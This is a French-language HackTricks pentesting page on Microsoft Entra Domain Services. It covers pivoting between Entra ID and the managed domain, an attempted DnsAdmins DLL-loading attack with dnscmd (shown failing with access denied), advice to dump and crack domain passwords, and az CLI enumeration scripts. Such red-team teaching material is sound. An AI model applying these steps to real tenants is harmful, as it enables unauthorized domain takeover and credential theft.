Az - Microsoft Entra Domain Services

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Domain Services

Microsoft Entra Domain Services permet de déployer un Active Directory dans Azure sans avoir besoin de gérer les contrôleurs de domaine (en fait, vous n’y avez même pas accès).

Son objectif principal est de vous permettre d’exécuter des applications héritées dans le cloud qui ne peuvent pas utiliser des méthodes d’authentification modernes, ou lorsque vous ne souhaitez pas que les recherches dans l’annuaire retournent toujours à un environnement AD DS sur site.

Notez que pour synchroniser les utilisateurs générés dans Entra ID (et non synchronisés à partir d’autres annuaires actifs) avec le service de domaine AD, vous devez changer le mot de passe de l’utilisateur pour un nouveau afin qu’il puisse être synchronisé avec le nouvel AD. En fait, l’utilisateur n’est pas synchronisé de Microsoft Entra ID vers les Domain Services tant que le mot de passe n’est pas changé.

Warning

Même si vous créez un nouveau domaine Active Directory, vous ne pourrez pas le gérer complètement (sauf en exploitant certaines mauvaises configurations), ce qui signifie qu’en règle générale, vous ne pouvez pas créer d’utilisateurs directement dans l’AD. Vous les créez en synchronisant des utilisateurs depuis Entra ID. Vous pouvez indiquer de synchroniser tous les utilisateurs (même ceux synchronisés depuis d’autres AD sur site), uniquement les utilisateurs cloud (utilisateurs créés dans Entra ID), ou même les filtrer davantage.

Note

En général, en raison du manque de flexibilité dans la configuration du nouveau domaine et du fait que les AD sont généralement déjà sur site, ce n’est pas l’intégration principale entre Entra ID et AD, mais il est tout de même intéressant de savoir comment le compromettre.

Pivoting

Les membres du groupe généré AAD DC Administrators se voient accorder des permissions d’administrateur local sur les VM qui sont jointes au domaine géré (mais pas dans les contrôleurs de domaine) car ils sont ajoutés au groupe des administrateurs locaux. Les membres de ce groupe peuvent également utiliser Remote Desktop pour se connecter à distance aux VM jointes au domaine, et sont également membres des groupes :

  • Denied RODC Password Replication Group : Il s’agit d’un groupe qui spécifie les utilisateurs et groupes dont les mots de passe ne peuvent pas être mis en cache sur les RODC (Read-Only Domain Controllers).
  • Group Policy Creators Owners : Ce groupe permet aux membres de créer des stratégies de groupe dans le domaine. Cependant, ses membres ne peuvent pas appliquer de stratégies de groupe aux utilisateurs ou groupes ni modifier les GPO existantes, donc ce n’est pas très intéressant dans cet environnement.
  • DnsAdmins : Ce groupe permet de gérer les paramètres DNS et a été abusé par le passé pour escalader des privilèges et compromettre le domaine, cependant après avoir testé l’attaque dans cet environnement, il a été vérifié que la vulnérabilité est corrigée :
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Notez que pour accorder ces autorisations, à l’intérieur de l’AD, le groupe AAD DC Administrators est devenu membre des groupes précédents, et également le GPO AADDC Computers GPO ajoute en tant qu’administrateurs locaux tous les membres du groupe de domaine AAD DC Administrators.

Le pivotement d’Entra ID vers un AD créé avec Domain Services est simple, il suffit d’ajouter un utilisateur dans le groupe AAD DC Administrators, d’accéder via RDP à n’importe quelle/toutes les machines du domaine et vous pourrez voler des données et également compromettre le domaine.

Cependant, le pivotement du domaine vers Entra ID n’est pas aussi facile car rien du domaine n’est synchronisé dans Entra ID. Cependant, vérifiez toujours les métadonnées de toutes les VM jointes car leurs identités gérées assignées pourraient avoir des autorisations intéressantes. De plus, dump toutes les mots de passe des utilisateurs du domaine et essayez de les craquer pour ensuite vous connecter à Entra ID / Azure.

Note

Notez qu’auparavant, d’autres vulnérabilités dans cet AD géré ont été trouvées, permettant de compromettre les DC, comme celle-ci. Un attaquant compromettant le DC pourrait très facilement maintenir la persistance sans que les administrateurs Azure ne s’en aperçoivent ou même ne puissent l’enlever.

Énumération

# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks